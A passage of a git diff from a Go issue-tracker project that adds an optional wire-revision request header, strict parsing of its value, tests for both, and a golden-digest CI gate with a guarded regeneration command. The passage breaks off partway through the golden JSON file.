"releaseIssue", + "rememberMemory", + "removeDependency", + "reopenIssue", + "setSetting", + "sweepIssues", + "unsetSetting", + "updateIssue", + "watchEvents" +] \ No newline at end of file diff --git a/internal/httpapi/testdata/pretoken_parameters.json b/internal/httpapi/testdata/pretoken_parameters.json new file mode 100644 index 000000000..b39bc4ed7 --- /dev/null +++ b/internal/httpapi/testdata/pretoken_parameters.json @@ -0,0 +1,195 @@ +{ + "addComment": [ + "id" + ], + "claimIssue": [ + "id" + ], + "claimNextIssue": [ + "assignee", + "exclude_label", + "exclude_type", + "has_metadata_key", + "include_deferred", + "include_ephemeral", + "label", + "label_any", + "label_pattern", + "label_regex", + "metadata_field", + "parent", + "priority", + "sort", + "type", + "unassigned" + ], + "closeIssue": [ + "id" + ], + "compareAndSetMetadata": [ + "id" + ], + "countDependencyEdges": [ + "direction", + "issue_id", + "status", + "type" + ], + "countIssues": [ + "assignee", + "closed_after", + "closed_before", + "created_after", + "created_before", + "desc_contains", + "empty_description", + "group_by", + "has_metadata_key", + "id", + "include_ephemeral", + "include_infra", + "label", + "label_any", + "metadata_field", + "no_assignee", + "no_labels", + "notes_contains", + "priority", + "priority_max", + "priority_min", + "status", + "title", + "title_contains", + "type", + "updated_after", + "updated_before" + ], + "countReadyWork": [ + "assignee", + "exclude_label", + "exclude_type", + "has_metadata_key", + "include_deferred", + "include_ephemeral", + "label", + "label_any", + "label_pattern", + "label_regex", + "metadata_field", + "parent", + "priority", + "type", + "unassigned" + ], + "forgetMemory": [ + "key" + ], + "getDependencyTree": [ + "direction", + "max_depth", + "root_id", + "status" + ], + "getIssue": [ + "brief_deps", + "id", + "include_comments", + "include_dependents" + ], + "getMemory": [ + "key" + ], + "getSetting": [ + "key" + ], + "getStats": [ + "assignee", + "skip_blocked" + ], + "listBlockingAnnotations": [ + "issue_id" + ], + "listDependencies": [ + "issue_id", + "type" + ], + "listEvents": [ + "limit", + "since" + ], + "listIssues": [ + "all", + "assignee", + "brief", + "created_after", + "created_before", + "cursor", + "exclude_label", + "has_metadata_key", + "include_ephemeral", + "include_gates", + "include_infra", + "include_templates", + "label", + "label_any", + "limit", + "metadata_field", + "parent", + "status", + "type" + ], + "listMemories": [ + "search" + ], + "listReadyWork": [ + "assignee", + "brief", + "exclude_label", + "exclude_type", + "has_metadata_key", + "include_deferred", + "include_ephemeral", + "label", + "label_any", + "label_pattern", + "label_regex", + "limit", + "metadata_field", + "parent", + "priority", + "sort", + "type", + "unassigned" + ], + "listRelatedIssues": [ + "direction", + "id", + "type" + ], + "queryIssues": [ + "all", + "limit", + "q", + "reverse", + "sort" + ], + "releaseIssue": [ + "id" + ], + "reopenIssue": [ + "id" + ], + "setSetting": [ + "key" + ], + "unsetSetting": [ + "key" + ], + "updateIssue": [ + "id" + ], + "watchEvents": [ + "Last-Event-ID", + "since" + ] +} diff --git a/internal/httpapi/testdata/pretoken_request_body_members.json b/internal/httpapi/testdata/pretoken_request_body_members.json new file mode 100644 index 000000000..3eb1a95cd --- /dev/null +++ b/internal/httpapi/testdata/pretoken_request_body_members.json @@ -0,0 +1,123 @@ +{ + "addComment": [ + "author", + "text" + ], + "addDependencies": [ + "actor", + "edges" + ], + "applyBatch": [ + "actor", + "force_id_prefix", + "items", + "provenance", + "skip_per_edge_cycle_check" + ], + "batchCloseIssues": [ + "actor", + "force", + "items", + "session" + ], + "batchCreateIssues": [ + "actor", + "items" + ], + "claimIssue": [ + "actor" + ], + "claimNextIssue": [ + "actor" + ], + "closeIssue": [ + "actor", + "expected_version", + "force", + "reason", + "session" + ], + "compareAndSetMetadata": [ + "actor", + "expected", + "key", + "value" + ], + "createIssue": [ + "acceptance_criteria", + "actor", + "assignee", + "defer_until", + "dependencies", + "description", + "design", + "due_at", + "ephemeral", + "estimated_minutes", + "external_ref", + "force_id_prefix", + "id", + "inherit_labels_from_parent", + "issue_type", + "labels", + "metadata", + "no_history", + "notes", + "owner", + "parent_id", + "priority", + "sender", + "status", + "title", + "waits_for" + ], + "deleteIssues": [ + "actor", + "cascade", + "dry_run", + "expected_version", + "force", + "ids" + ], + "releaseIssue": [ + "actor", + "expected_assignee", + "force" + ], + "rememberMemory": [ + "content", + "key" + ], + "removeDependency": [ + "actor", + "depends_on_id", + "issue_id" + ], + "reopenIssue": [ + "actor", + "expected_version", + "reason" + ], + "setSetting": [ + "value" + ], + "sweepIssues": [ + "actor", + "closed_before", + "dry_run", + "pattern", + "protect_referenced", + "tier" + ], + "updateIssue": [ + "actor", + "claim", + "expected_assignee", + "expected_status", + "expected_version", + "force_assignee_transfer", + "force_close_policy", + "force_notes_overwrite", + "patch" + ] +} \ No newline at end of file diff --git a/internal/httpapi/wire_revision.go b/internal/httpapi/wire_revision.go new file mode 100644 index 000000000..981eb3a19 --- /dev/null +++ b/internal/httpapi/wire_revision.go @@ -0,0 +1,99 @@ +package httpapi + +import ( + "net/http" + "strconv" + "strings" +) + +// WireRevisionHeader names the optional per-request wire-floor declaration. A +// client that knows the revision it was compiled against puts that revision +// here; checkWireRevision refuses the request when it names a revision below +// MinClientWireRevision, before the client can act on a body shaped for a +// revision it has already said it cannot decode. The header is optional and +// absent by default: an older client that never sends it is served exactly as +// before, which is what keeps this additive rather than a new precondition. +const WireRevisionHeader = "Bd-Wire-Revision" + +// CurrentWireRevision is ContextResponse.wire_revision: the wire-shape counter +// for THIS build. See the `wire_revision` property in openapi.v0.yaml for the +// full revision history and what bumps it. It increases only alongside a +// deliberate, non-additive wire change AND a matching update to the +// internal/httpapi/wireshape golden digest — TestWireShapeDigest fails closed +// the moment the two disagree. +const CurrentWireRevision = 2 + +// MinClientWireRevision is ContextResponse.min_client_wire_revision: the +// oldest client-declared revision this build still answers correctly. Raising +// it is the deliberate act of dropping support for clients built against an +// older wire shape; it must never exceed CurrentWireRevision. +const MinClientWireRevision = 0 + +// checkWireRevision enforces the optional per-request wire-floor declaration. +// A client that knows the revision it was compiled against may assert it in +// the Bd-Wire-Revision header; if that revision is below s.minClientWireRevision, +// the request is refused before the server spends any work building a body the +// caller has already said it cannot decode. It returns nil when the request +// may proceed, or the 400 to write. +// +// s.minClientWireRevision starts at the package constant MinClientWireRevision +// and is a Server field — rather than a direct read of that constant — only so +// a test can raise the floor; production never overrides it. +// +// Three paths return nil. An ABSENT header is the backward-compatible one: an +// older client never sends it, so enforcement triggers only when the header +// arrives and adds no precondition to any request already in the field. A +// non-negative integer at or above s.minClientWireRevision is in range. A value +// that fails to parse as a non-negative integer is NOT this check's refusal — +// it is a malformed header, reported as `invalid_value` rather than +// `wire_revision_unsupported`, which is reserved for a revision this server +// has read and understood to be too old. +// +// The refusal is recorded on the request line like every other middleware +// refusal, so a client persistently declaring a dropped revision is +// attributable down to the local process. +func (s *Server) checkWireRevision(r *http.Request) *Result { + raw := r.Header.Get(WireRevisionHeader) + if raw == "" { + return nil + } + got, ok := parseStrictNonNegativeInt(raw) + if !ok { + requestInfo(r.Context()).refuse(raw) + res := InvalidArgument(WireRevisionHeader, ReasonInvalidValue, + "the "+WireRevisionHeader+" header must be a non-negative integer") + return &res + } + if got >= s.minClientWireRevision { + return nil + } + requestInfo(r.Context()).refuse(raw) + res := WireRevisionUnsupported(got, s.minClientWireRevision, CurrentWireRevision, s.ctxBody.BdVersion) + return &res +} + +// parseStrictNonNegativeInt accepts exactly the plain-decimal shape this +// header is documented to carry: one or more ASCII digits, no sign, and no +// leading zero unless the whole value is the single digit "0". strconv.Atoi +// alone is looser than that — it also accepts a leading "+", and it accepts +// leading zeros like "007" — both of which would let two different header +// bytes name the same revision, which is a wire ambiguity this header exists +// to avoid, not a client convenience to extend to it. +func parseStrictNonNegativeInt(raw string) (int, bool) { + if raw == "" || strings.ContainsAny(raw, "+-") { + return 0, false + } + if len(raw) > 1 && raw[0] == '0' { + return 0, false + } + for _, c := range raw { + if c < '0' || c > '9' { + return 0, false + } + } + got, err := strconv.Atoi(raw) + if err != nil { + return 0, false + } + return got, true +} diff --git a/internal/httpapi/wire_revision_test.go b/internal/httpapi/wire_revision_test.go new file mode 100644 index 000000000..e6a6ee7b1 --- /dev/null +++ b/internal/httpapi/wire_revision_test.go @@ -0,0 +1,252 @@ +package httpapi + +import ( + "net/http" + "slices" + "strconv" + "strings" + "testing" +) + +// These are pure, like the rest of the package's edge tests: the whole +// request lifecycle runs over a real listener against a fake provider, so the +// Bd-Wire-Revision gate — where it sits in route(), what it refuses, and +// that it reaches the identity handshake too — is covered on every pull +// request by the unconditional Go test job. + +// wireRevisioned drives a request carrying (or omitting) the Bd-Wire-Revision +// header. An empty raw value sends no header at all, which is the +// backward-compatible path. +func (ts *testServer) wireRevisioned(t *testing.T, method, path, raw string) *http.Response { + t.Helper() + req, err := http.NewRequest(method, ts.base+path, nil) + if err != nil { + t.Fatalf("new %s %s: %v", method, path, err) + } + if raw != "" { + req.Header.Set(WireRevisionHeader, raw) + } + resp, err := ts.client.Do(req) + if err != nil { + t.Fatalf("%s %s: %v", method, path, err) + } + t.Cleanup(func() { _ = resp.Body.Close() }) + return resp +} + +func assertWireRevisionUnsupported(t *testing.T, resp *http.Response, wantMin int) { + t.Helper() + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + if got := resp.Header.Get("Content-Type"); got != "application/problem+json; charset=utf-8" { + t.Errorf("Content-Type = %q, want problem+json", got) + } + body := decodeBody(t, resp) + if body["code"] != string(CodeInvalidArgument) { + t.Errorf("code = %v, want %s", body["code"], CodeInvalidArgument) + } + if body["param"] != WireRevisionHeader { + t.Errorf("param = %v, want %s", body["param"], WireRevisionHeader) + } + if body["reason"] != string(ReasonWireRevisionUnsupported) { + t.Errorf("reason = %v, want %s", body["reason"], ReasonWireRevisionUnsupported) + } + // The one member that scopes the disclosure: it carries this server's own + // floor, and it is present ONLY on this refusal. + min, ok := body["min_wire_revision"].(float64) + if !ok || int(min) != wantMin { + t.Errorf("min_wire_revision = %#v, want %d", body["min_wire_revision"], wantMin) + } + // wire_revision and bd_version ride alongside min_wire_revision on this + // same refusal, so a client logging it can report what this server + // currently is without a second /v0/beads/context round trip. + wire, ok := body["wire_revision"].(float64) + if !ok || int(wire) != CurrentWireRevision { + t.Errorf("wire_revision = %#v, want %d", body["wire_revision"], CurrentWireRevision) + } + // bd_version mirrors this server's own ContextResponse.bd_version, which a + // bare test fixture with no version wired in reports as "" — a string, not + // an absence, is what's being pinned here. + if _, ok := body["bd_version"].(string); !ok { + t.Errorf("bd_version = %#v, want a string", body["bd_version"]) + } +} + +// wireRevisionReadServer is newReadServer's provider wiring (reads_test.go), +// needed here because /v0/beads/ready 500s against the bare default +// fakeProvider{} newTestServer(t, Config{}) otherwise falls back to — that +// fake answers the claim path only, not a read. +func wireRevisionReadServer(t *testing.T, tune ...func(*Server)) *testServer { + t.Helper() + cfg := Config{Provider: &fakeProvider{ + issues: &fakeIssues{}, + readIssues: &recordingIssues{}, + readConfig: emptyConfig{}, + }} + return newTestServer(t, cfg, tune...) +} + +// TestWireRevisionAbsentIsTodaysBehavior is the backward-compatibility +// contract: a client that sends no Bd-Wire-Revision header is served exactly +// as before, on both an ordinary route and the identity handshake. +func TestWireRevisionAbsentIsTodaysBehavior(t *testing.T) { + ts := wireRevisionReadServer(t) + + for _, path := range []string{"/v0/beads/ready", "/v0/beads/context"} { + resp := ts.wireRevisioned(t, http.MethodGet, path, "") + if resp.StatusCode != http.StatusOK { + t.Errorf("GET %s with no header = %d, want 200: %s", path, resp.StatusCode, readAll(t, resp)) + } + } +} + +// TestWireRevisionAtOrAboveFloorServes: a declared revision at or above +// MinClientWireRevision is in range and the request runs exactly as an +// undeclared one does. +func TestWireRevisionAtOrAboveFloorServes(t *testing.T) { + ts := wireRevisionReadServer(t) + + resp := ts.wireRevisioned(t, http.MethodGet, "/v0/beads/ready", strconv.Itoa(MinClientWireRevision)) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200 for a floor-equal revision: %s", resp.StatusCode, readAll(t, resp)) + } +} + +// TestWireRevisionBelowFloorRefusesEveryEnforcedRoute mirrors +// TestProjectStampMismatchRefusesEveryEnforcedRoute: a declared revision below +// the server's floor is refused on an ordinary read AND on the identity +// handshake — the one route Bd-Project-Id is exempt on but this header is +// deliberately not, since the handshake is where catching the mismatch is +// cheapest. +// +// The floor is raised to 3 via the tune hook (mirroring semTimeout et al in +// newTestServer's tune pattern) rather than read at its production default of +// 0: a non-negative integer strictly below a floor of 0 does not exist, so +// MinClientWireRevision itself could never exercise this path. +func TestWireRevisionBelowFloorRefusesEveryEnforcedRoute(t *testing.T) { + const floor = 3 + ts := wireRevisionReadServer(t, func(s *Server) { s.minClientWireRevision = floor }) + below := strconv.Itoa(floor - 1) + + for _, path := range []string{"/v0/beads/ready", "/v0/beads/context"} { + t.Run(path, func(t *testing.T) { + resp := ts.wireRevisioned(t, http.MethodGet, path, below) + assertWireRevisionUnsupported(t, resp, floor) + }) + } + + // Attributable, like every other middleware refusal. + line := findLogLine(t, ts.stderr.String(), "op="+OpListReadyWork) + for _, want := range []string{"status=400", "code=invalid_argument", "refused=" + logValue(below)} { + if !strings.Contains(line, want) { + t.Errorf("the refused request's log line is missing %q:\n%s", want, line) + } + } +} + +// TestWireRevisionMalformedIsInvalidValueNotUnsupported: a header that does +// not parse as a non-negative integer is a different client mistake than a +// revision this server has read and understood to be too old, and must not +// be confused with one by carrying min_wire_revision. +func TestWireRevisionMalformedIsInvalidValueNotUnsupported(t *testing.T) { + ts := wireRevisionReadServer(t) + + for _, raw := range []string{"not-a-number", "-1", "1.5", "+1", "01", "007", ""} { + if raw == "" { + continue // the empty string is the absent-header case, tested elsewhere + } + t.Run(raw, func(t *testing.T) { + resp := ts.wireRevisioned(t, http.MethodGet, "/v0/beads/ready", raw) + if resp.StatusCode != http.StatusBadRequest { + t.Fatalf("status = %d, want 400: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["reason"] != string(ReasonInvalidValue) { + t.Errorf("reason = %v, want %s", body["reason"], ReasonInvalidValue) + } + if _, present := body["min_wire_revision"]; present { + t.Errorf("a malformed header disclosed min_wire_revision: %v", body["min_wire_revision"]) + } + }) + } +} + +// TestHealthAnswersDespiteABelowFloorRevision: liveness is exempt. A kubelet +// probe carries no Bd-Wire-Revision of its own, and must not be refused for a +// header it never had a reason to send. +func TestHealthAnswersDespiteABelowFloorRevision(t *testing.T) { + ts := newTestServer(t, Config{}) + + resp := ts.wireRevisioned(t, http.MethodGet, "/healthz", strconv.Itoa(MinClientWireRevision-1)) + if resp.StatusCode != http.StatusOK { + t.Errorf("GET /healthz with a below-floor revision = %d, want 200 (this route is exempt)", resp.StatusCode) + } +} + +// TestContextAdvertisesWireRevision: the handshake carries both members every +// client needs to decide whether it can safely proceed. +func TestContextAdvertisesWireRevision(t *testing.T) { + ts := newTestServer(t, Config{}) + + body := decodeBody(t, ts.get(t, "/v0/beads/context")) + wire, ok := body["wire_revision"].(float64) + if !ok || int(wire) != CurrentWireRevision { + t.Errorf("wire_revision = %#v, want %d", body["wire_revision"], CurrentWireRevision) + } + min, ok := body["min_client_wire_revision"].(float64) + if !ok || int(min) != MinClientWireRevision { + t.Errorf("min_client_wire_revision = %#v, want %d", body["min_client_wire_revision"], MinClientWireRevision) + } +} + +// TestWireRevisionExemptRoutesAreExactlyHealth pins the exempt column by +// enumeration: exactly {OpHealth} skips the Bd-Wire-Revision floor check. +// Unlike projectExempt, the identity handshake is deliberately NOT on this +// list — see wireRevisionExempt's doc comment for why the two diverge. +func TestWireRevisionExemptRoutesAreExactlyHealth(t *testing.T) { + var exempt []string + for _, rt := range routeTable { + if rt.wireRevisionExempt { + exempt = append(exempt, rt.op) + } + } + slices.Sort(exempt) + want := []string{OpHealth} + if !slices.Equal(exempt, want) { + t.Errorf("wireRevisionExempt routes = %v, want exactly {OpHealth}", exempt) + } +} + +// TestRetiredRevisionsStayBelowTheFloor pins the PRESENCE guarantee +// documented on the `wire_revision` property: 0 and 1 are permanently +// retired, so a decoded 0 can only mean "the server omitted the field," never +// a value a current or future server actually sent. That reading breaks the +// moment either constant moves the wrong way — CurrentWireRevision dropping +// below 2 would let a real server send one of the retired values again, and +// MinClientWireRevision exceeding CurrentWireRevision would make every +// request refused as unsupported by this build's own floor. +func TestRetiredRevisionsStayBelowTheFloor(t *testing.T) { + if CurrentWireRevision < 2 { + t.Errorf("CurrentWireRevision = %d, want >= 2: 0 and 1 are retired and must stay below every revision a server can actually send", CurrentWireRevision) + } + if MinClientWireRevision > CurrentWireRevision { + t.Errorf("MinClientWireRevision = %d, want <= CurrentWireRevision (%d)", MinClientWireRevision, CurrentWireRevision) + } +} + +// TestCapabilitiesAdvertiseIssuesListSort: a client learns this server +// accepts GET /v0/beads/issues' sort parameter from the capability list, +// never from the version string. +func TestCapabilitiesAdvertiseIssuesListSort(t *testing.T) { + ts := newTestServer(t, Config{}) + + caps, _ := decodeBody(t, ts.get(t, "/v0/beads/context"))["capabilities"].([]any) + var got []string + for _, c := range caps { + got = append(got, c.(string)) + } + if !slices.Contains(got, CapIssuesListSort) { + t.Errorf("capabilities %v do not advertise %q", got, CapIssuesListSort) + } +} diff --git a/internal/httpapi/wireshape/BUILD.bazel b/internal/httpapi/wireshape/BUILD.bazel new file mode 100644 index 000000000..cdae05960 --- /dev/null +++ b/internal/httpapi/wireshape/BUILD.bazel @@ -0,0 +1,26 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "wireshape", + srcs = [ + "doc.go", + "wireshape.go", + ], + importpath = "github.com/steveyegge/beads/internal/httpapi/wireshape", + visibility = ["//:__subpackages__"], + deps = [ + "//internal/httpapi/spec", + "@in_gopkg_yaml_v3//:yaml_v3", + ], +) + +go_test( + name = "wireshape_test", + srcs = [ + "wireshape_internal_test.go", + "wireshape_test.go", + ], + data = glob(["testdata/**"]), + embed = [":wireshape"], + deps = ["//internal/httpapi"], +) diff --git a/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel b/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel new file mode 100644 index 000000000..425d566ef --- /dev/null +++ b/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel @@ -0,0 +1,25 @@ +load("@rules_go//go:def.bzl", "go_binary", "go_library", "go_test") + +go_library( + name = "gendigest_lib", + srcs = ["main.go"], + importpath = "github.com/steveyegge/beads/internal/httpapi/wireshape/cmd/gendigest", + visibility = ["//visibility:private"], + deps = [ + "//internal/httpapi", + "//internal/httpapi/wireshape", + ], +) + +go_binary( + name = "gendigest", + embed = [":gendigest_lib"], + visibility = ["//:__subpackages__"], +) + +go_test( + name = "gendigest_test", + srcs = ["main_test.go"], + embed = [":gendigest_lib"], + deps = ["//internal/httpapi/wireshape"], +) diff --git a/internal/httpapi/wireshape/cmd/gendigest/main.go b/internal/httpapi/wireshape/cmd/gendigest/main.go new file mode 100644 index 000000000..546fce73b --- /dev/null +++ b/internal/httpapi/wireshape/cmd/gendigest/main.go @@ -0,0 +1,103 @@ +// Command gendigest regenerates internal/httpapi/wireshape/testdata/golden.json +// from the embedded OpenAPI document and the Go CurrentWireRevision constant. +// +// Run it after a deliberate, revision-bumped wire-shape change — never to make +// a failing TestWireShapeDigest pass on an accidental one. A diff this command +// produces that only adds entries is additive and needs no revision bump; a +// diff that changes or removes an entry without a CurrentWireRevision bump is +// the exact drift the test exists to catch, not something to paper over by +// running this. +package main + +import ( + "encoding/json" + "errors" + "flag" + "fmt" + "os" + "path/filepath" + "runtime" + + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/internal/httpapi/wireshape" +) + +func main() { + initFlag := flag.Bool("init", false, "create golden.json when none exists yet") + flag.Parse() + + out, err := goldenPath() + if err != nil { + fmt.Fprintln(os.Stderr, "gendigest:", err) + os.Exit(1) + } + + digest, err := wireshape.Compute(httpapi.CurrentWireRevision) + if err != nil { + fmt.Fprintln(os.Stderr, "gendigest:", err) + os.Exit(1) + } + + if err := writeGolden(out, digest, *initFlag); err != nil { + fmt.Fprintln(os.Stderr, "gendigest:", err) + os.Exit(1) + } + fmt.Println("wrote", out) +} + +// goldenPath resolves testdata/golden.json relative to this source file, so +// the command works from any cwd, the same way `go generate` directives in +// this repo do. +func goldenPath() (string, error) { + _, thisFile, _, ok := runtime.Caller(0) + if !ok { + return "", errors.New("could not resolve own source path") + } + return filepath.Join(filepath.Dir(thisFile), "..", "..", "testdata", "golden.json"), nil +} + +// writeGolden writes digest to out, under two guards. +// +// First, an EXISTING golden: refuse to overwrite one that would silently +// launder a failing TestWireShapeDigest. A changed or removed entry must come +// with a CurrentWireRevision bump ABOVE what's already committed, never from +// just re-running this command (wireshape.SafeToWrite); a purely additive +// diff always writes, unless digest's wire_revision is LOWER than the +// golden's, which SafeToWrite refuses whatever the entries. +// +// Second, a MISSING golden: refuse to create one unless initFlag is set. A +// golden that is merely absent — the testdata file moved, got deleted by +// accident, or this is being pointed at the wrong path — must not be treated +// as implicit permission to start a fresh history from whatever the working +// tree happens to compute right now; -init is the explicit, one-time act of +// starting that history (the real first run, or a deliberate reset), not +// gendigest's default behavior for "I don't see a file there." +func writeGolden(out string, digest wireshape.Digest, initFlag bool) error { + // #nosec G304 -- out is this command's own source-relative output path, + // never request- or argv-influenced; reading it back is the write guard. + existing, err := os.ReadFile(out) + switch { + case err == nil: + var golden wireshape.Digest + if err := json.Unmarshal(existing, &golden); err != nil { + return fmt.Errorf("decode existing golden: %w", err) + } + if ok, reason := wireshape.SafeToWrite(golden, digest); !ok { + return errors.New(reason) + } + case os.IsNotExist(err): + if !initFlag { + return fmt.Errorf("no golden at %s yet; pass -init to create one (a missing file is not this command's default to fill in)", out) + } + default: + return fmt.Errorf("read existing golden: %w", err) + } + + blob, err := json.MarshalIndent(digest, "", " ") + if err != nil { + return err + } + blob = append(blob, '\n') + + return os.WriteFile(out, blob, 0o600) +} diff --git a/internal/httpapi/wireshape/cmd/gendigest/main_test.go b/internal/httpapi/wireshape/cmd/gendigest/main_test.go new file mode 100644 index 000000000..b67d30cda --- /dev/null +++ b/internal/httpapi/wireshape/cmd/gendigest/main_test.go @@ -0,0 +1,71 @@ +package main + +import ( + "os" + "path/filepath" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/wireshape" +) + +func sampleDigest(revision int) wireshape.Digest { + return wireshape.Digest{ + WireRevision: revision, + Entries: []wireshape.Entry{ + {Schema: "Widget", Member: "name", Type: "string", Required: true}, + }, + } +} + +// TestWriteGoldenRequiresInitWhenMissing is LOW-2 from the re-review: a +// missing golden.json must not be filled in silently. Without -init, the one +// failure mode that most needs a loud error — pointing this command at a path +// that lost its file by accident — would otherwise look exactly like a +// successful first run. +func TestWriteGoldenRequiresInitWhenMissing(t *testing.T) { + out := filepath.Join(t.TempDir(), "golden.json") + + if err := writeGolden(out, sampleDigest(2), false); err == nil { + t.Fatal("writeGolden with no existing file and initFlag=false: want an error naming -init, got nil") + } + if _, err := os.Stat(out); !os.IsNotExist(err) { + t.Errorf("writeGolden refused but a file exists at %s anyway", out) + } +} + +// TestWriteGoldenInitCreatesWhenMissing is the other half: -init is how a +// real first run (or a deliberate reset) still works. +func TestWriteGoldenInitCreatesWhenMissing(t *testing.T) { + out := filepath.Join(t.TempDir(), "golden.json") + + if err := writeGolden(out, sampleDigest(2), true); err != nil { + t.Fatalf("writeGolden with initFlag=true: %v", err) + } + if _, err := os.Stat(out); err != nil { + t.Errorf("writeGolden -init did not create %s: %v", out, err) + } +} + +// TestWriteGoldenIgnoresInitWhenGoldenExists: -init only matters for the +// missing-file case. An existing golden is still governed exclusively by +// SafeToWrite, whether or not -init was passed. +func TestWriteGoldenIgnoresInitWhenGoldenExists(t *testing.T) { + out := filepath.Join(t.TempDir(), "golden.json") + if err := writeGolden(out, sampleDigest(2), true); err != nil { + t.Fatalf("seed write: %v", err) + } + + // A same-revision changed entry is unsafe per SafeToWrite, -init or not. + changed := sampleDigest(2) + changed.Entries[0].Type = "integer" + if err := writeGolden(out, changed, true); err == nil { + t.Error("writeGolden over an existing golden with an unsafe diff and initFlag=true: want an error, got nil") + } + + // A higher-revision changed entry is safe, with no -init needed. + bumped := sampleDigest(3) + bumped.Entries[0].Type = "integer" + if err := writeGolden(out, bumped, false); err != nil { + t.Errorf("writeGolden over an existing golden with a revision-bumped diff and initFlag=false: %v", err) + } +} diff --git a/internal/httpapi/wireshape/doc.go b/internal/httpapi/wireshape/doc.go new file mode 100644 index 000000000..fd88c2ebe --- /dev/null +++ b/internal/httpapi/wireshape/doc.go @@ -0,0 +1,54 @@ +// Package wireshape is the CI drift gate for ContextResponse.wire_revision. +// +// It computes a digest of every member reachable from any response schema AND +// any request body schema in internal/httpapi/spec/openapi.v0.yaml — walking +// $refs through components.schemas and components.responses, and flattening +// a schema's own allOf/oneOf — recording, per member, the (schema, member, +// type, format, enum, required, nullable) tuple the document promises, plus +// the item shape of an array member and the value shape of an +// additionalProperties map. +// +// It ALSO covers every operation PARAMETER (query, path and header) across +// every operation in the document, keyed by operationId + location + name +// rather than by schema — two different operations' same-named parameter are +// two independent wire contracts, even when they happen to share a shape +// today. Each parameter entry records type, item shape (for an array +// parameter), enum, required, style, explode and default — style and explode +// as their effective values, OpenAPI 3.0's defaults filled in where the +// document leaves them unset — so a parameter silently retyped, +// re-enumerated, narrowed, re-serialized, switched required, or removed is +// exactly as visible here as the same change to a response or request body +// member — the gap closed after the first revision of this gate shipped +// without it. +// +// TestWireShapeDigest compares that digest against the committed golden in +// testdata/golden.json and fails on any difference: a member or parameter +// added needs only a regenerate (an additive change never bumps +// wire_revision), but a member's or parameter's type, format, enum +// vocabulary, required-ness, nullability, style, explode or default changing +// — or either disappearing — is exactly the class of change +// internal/httpapi/wire_revision.go's CurrentWireRevision exists to gate, and +// the golden's own "wire_revision" field is compared too, so a shape change +// recorded against the OLD revision number still fails, and so does a +// CurrentWireRevision lower than the golden's. +// +// The digest is a boundary, not the whole wire. Value constraints such as +// maxLength, maximum, pattern or maxItems are outside it, on members and +// parameters alike, and so is a composition keyword on a single member's own +// value (the document uses none); an object-typed parameter, or one described +// by content rather than schema, is recorded only as its container. A new +// member or parameter always counts as additive, even a REQUIRED one an old +// client will not send. Each of those changes needs its own review against +// wire_revision: nothing here asks for a bump for any of them. +// +// Regenerate the golden after a deliberate, revision-bumped change with: +// +// go run ./internal/httpapi/wireshape/cmd/gendigest +// +// That command itself refuses to write a changed or removed entry unless +// wire_revision has moved past what the existing golden recorded, refuses any +// write at a wire_revision LOWER than the golden's, and refuses to create a +// golden that does not exist yet unless run with -init — a missing file is +// not treated as permission to start a fresh history silently. Never +// hand-edit testdata/golden.json. +package wireshape diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json new file mode 100644 index 000000000..608ede82a --- /dev/null +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -0,0 +1,5537 @@ +{ + "wire_revision": 2, + "entries": [ + { + "schema": "AddCommentRequest", + "member": "author", + "type": "string", + "required": true + }, + { + "schema": "AddCommentRequest", + "member": "text", + "type": "string", + "required": true + }, + { + "schema": "AddDependenciesRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "AddDependenciesRequest", + "member": "edges", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "AddDependenciesResponse", + "member": "added", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "AnchorEdgeCount", + "member": "count", + "type": "integer", + "format": "int64", + "required": true + }, + { + "schema": "AnchorEdgeCount", + "member": "id", + "type": "string", + "required": true + }, + { + "schema": "AnchorEdgeCount", + "member": "missing", + "type": "boolean", + "required": true + }, + { + "schema": "ApplyBatchRequest", + "member": "actor", + "type": "string", + "required": true + }, + { + "schema": "ApplyBatchRequest", + "member": "force_id_prefix", + "type": "boolean", + "required": false + }, + { + "schema": "ApplyBatchRequest", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "ApplyBatchRequest", + "member": "provenance", + "type": "string", + "required": false + }, + { + "schema": "ApplyBatchRequest", + "member": "skip_per_edge_cycle_check", + "type": "boolean", + "required": false + }, + { + "schema": "ApplyBatchResponse", + "member": "items", + "type": "array", + "required": true, + "item_type": "object" + }, + { + "schema": "ApplyBatchResponse", + "member": "keys", + "type": "object", + "required": true, + "additional_props_type": "string" + }, + { + "schema": "ApplyCloseItem", + "member": "expected_version", + "type": "string", + "required": false + }, + { + "schema": "ApplyCloseItem", + "member": "force", + "type": "boolean", + "required": false + }, + { + "schema": "ApplyCloseItem", + "member": "reason", + "type": "string", + "required": false + }, + { + "schema": "ApplyCloseItem", + "member": "session", + "type": "string", + "required": false + }, + { + "schema": "ApplyCloseItem", + "member": "target", + "type": "object", + "required": true + }, + { + "schema": "ApplyCreateItem", + "member": "acceptance_criteria", + "type": "string", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "assignee", + "type": "string", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "defer_until", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "description", + "type": "string", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "design", + "type": "string", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "due_at", + "type": "string", + "format": "date-time", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "ephemeral", + "type": "boolean", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "estimated_minutes", + "type": "integer", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "external_ref", + "type": "string", + "required": false + }, + { + "schema": "ApplyCreateItem", + "member": "id", + "type": "string", + "required": false + }, + { + "schema": "ApplyCreateItem", + 